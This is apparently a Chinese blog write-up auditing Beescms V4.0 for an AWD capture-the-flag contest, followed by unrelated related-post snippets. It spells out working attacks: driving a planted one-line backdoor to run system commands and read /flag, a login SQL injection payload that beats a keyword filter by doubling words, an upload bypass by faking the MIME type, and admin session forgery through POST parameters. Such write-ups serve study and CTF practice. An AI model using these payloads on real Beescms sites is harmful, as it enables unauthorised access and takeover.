Beescms_V4.0代码审计源于一场AWD线下比赛的漏洞源码 

看了别的师傅的文章发现这个源码也非常简单 ,所以今晚简单审计过一遍。

0x01 预留后门

awd首先备份源码,然后下载下来查杀后门,很可能有隐藏后门,有的话直接拿这个后门开始第一轮刷分攻击。

D盾查杀可疑后门,如下;

site/sitemap.php 文件疑似木马,查看一下;

明显的一句话木马

构造也很简单:

Post:lang=system
Get:0=ls

查看flag   0=cat /flag

以下的代码 我选择快速审计 大体看功能 ----》推测可能存在某个漏洞------》看核心源码验证漏洞。

0x02 后台SQL注入

http://192.168.5.149/BEES_4.0/admin/login.php

登录加单引号 报错 估计有注入

看源码

文件:/admin/login.php

很简单的逻辑

在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),check_login函数我们来看看是什么

可以看到只是功能只是最后带入查询和验证密码 那么重点过滤函数应该在前面的fl_value()和fl_html()这两个函数上,跟进。

fl_value():

发现 fl_value()函数就是用htmlspecialchars(()函数对字符进行转义,将特殊字符用引用实体替换。

被转换的预定义的字符有:

&:转换为&
":转换为"
':转换为成为 '
<:转换为&lt;
>:转换为&gt;

再看看fl_value():

function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空,这个双写关键字即可绕过。fl_html()也就是htmlspecialchars()采用的是默认参数,仅编码双引号,所以对于’不会过滤,要想过滤单引号和双引号需要加上ENT_QUOTES参数

所以这里构造注入payload(这是网上文章原文的):

user=admin' uni union on selselectect 1,2,3,4,5#&password=1&code=62e4&submit=true&submit.x=56&submit.y=27

0x03 后台任意文件上传

可以登录后台进行测试。后台发现有图片上传的地方

来看下代码:

is_uploaded_file($_FILES['up']['tmp_name'])){
if($up_type=='pic'){
$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
$logo=0;
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
$pic=$value_arr['pic'];
if(!empty($value_arr['thumb'])){
$pic=$value_arr['thumb'];
}
$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
echo $str;
exit;
}//图片上传

发现在44行

$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

定义了mime类型 只需要改下content-type得值即可。

0x04 前台登录绕过

在admin/init.php中第54行发现判断函数is_login():

跟进这个函数

这里验证session中得login_in和admin字段 我们可以伪造进行绕过。

POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

代码审计-Beescms_V4.0的更多相关文章

  1. Beescms_v4.0 sql注入漏洞分析

    Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...

  2. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  3. bugku web 变量1

    flag In the variable ! <?php error_reporting(0);include "flag1.php";highlight_file(__fi ...

  4. 每天复现一个漏洞--vulhub

    phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433) 漏洞原理:http://www.polaris-lab.com/index.php/ar ...

  5. BugkuCTF——wp(旧版)

    title: BugkuCTF--wp(旧版) date: 2020-4-25 tags: CTF,比赛 categories: CTF 比赛 Web篇 0x001-web2 解题思路: 1.直接按F ...

  6. ZAM 3D 制作简单的3D字幕 流程(二)

    原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...

  7. ZAM 3D 制作3D动画字幕 用于Xaml导出

    原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...

  8. 微信小程序省市区选择器对接数据库

    前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...

  9. osg编译日志

    1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...

随机推荐

  1. null==a和a==null的区别

    在项目代码中在if判断中会经常看到一些老司机这样写:if(null == a),而我由于习惯会写成if(a == null),这两种有什么区别呢? 其实两种并没有什么区别,只是前者在细节处理上.我们在 ...

  2. SqlServer 2014还原数据库时提示:无法在已有的""上还原文件,请重新发出RESTORE语句,用WITH REPLACE来覆盖原先存在的文件

    场景 SQL Server 2014在还原数据库时提示: 无法在已有的""上还原文件,请重新发出RESTORE语句,用WITH REPLACE来覆盖原先存在的文件... 实现 在还 ...

  3. Charles 破解版免费下载和注册安装教程

    本文参考:[Charles 破解版免费下载和注册安装教程](https://www.axihe.com/tools/charles/charles/free-use.html) **软件开发不易,请尽 ...

  4. Linux 笔记 - 第七章 Vi 和 Vim 编辑器

    博客地址:http://www.moonxy.com 一.前言 Vi 与 Vim 都是多模式编辑器,是 Linux 中必不可少的工具.不同的是 Vim 是 Vi 的升级版本,它不仅兼容 Vi 的所有命 ...

  5. 小白专场-是否同一颗二叉搜索树-python语言实现

    目录 一.二叉搜索树的相同判断 二.问题引入 三.举例分析 四.方法探讨 4.1 中序遍历 4.2 层序遍历 4.3 先序遍历 4.4 后序遍历 五.总结 六.代码实现 一.二叉搜索树的相同判断 二叉 ...

  6. linux 操作系统级别监控 iostat 命令

    iostat命令可以查看当前机器磁盘io的数据 命令:iostat -x -k 1 -x:展示磁盘的扩展信息 -k:以k为单位展示磁盘数据 1:每1秒刷新一次 展示结果 util:磁盘IO使用率,单位 ...

  7. vue-cli+webpack打包,上线

    1.先修改配置文件再打包.有些人打包后运行一片空白,主要是由于路径问题 所以首先需要修改config下的index.js配置文件 上图中第一个要修改的就是静态文件的路径,打包后静态文件就在当前目录下, ...

  8. mysql 5.5之参数详解

    [mysql]default-character-set=utf8 [mysqld] datadir=/var/lib/mysqlsocket=/var/lib/mysql/mysql.sock # ...

  9. jupyter编辑快捷键

    Jupyter笔记本有两种不同的键盘输入模式. 编辑模式允许您将代码或文本输入到一个单元格中,并通过一个绿色的单元格来表示 命令模式将键盘与笔记本级命令绑定在一起,并通过一个灰色的单元格边界显示,该边 ...

  10. 项目管理知识点-结合Enovia项目管理模块

    核心知识域:整体管理.范围管理.进度管理.成本管理.质量管理.信息安全管理 保障域:人力资源管理.合同管理.采购管理.风险管理.信息(文档)管理.配置管理.知识产权管理.法律法规标准规范管理.职业道德 ...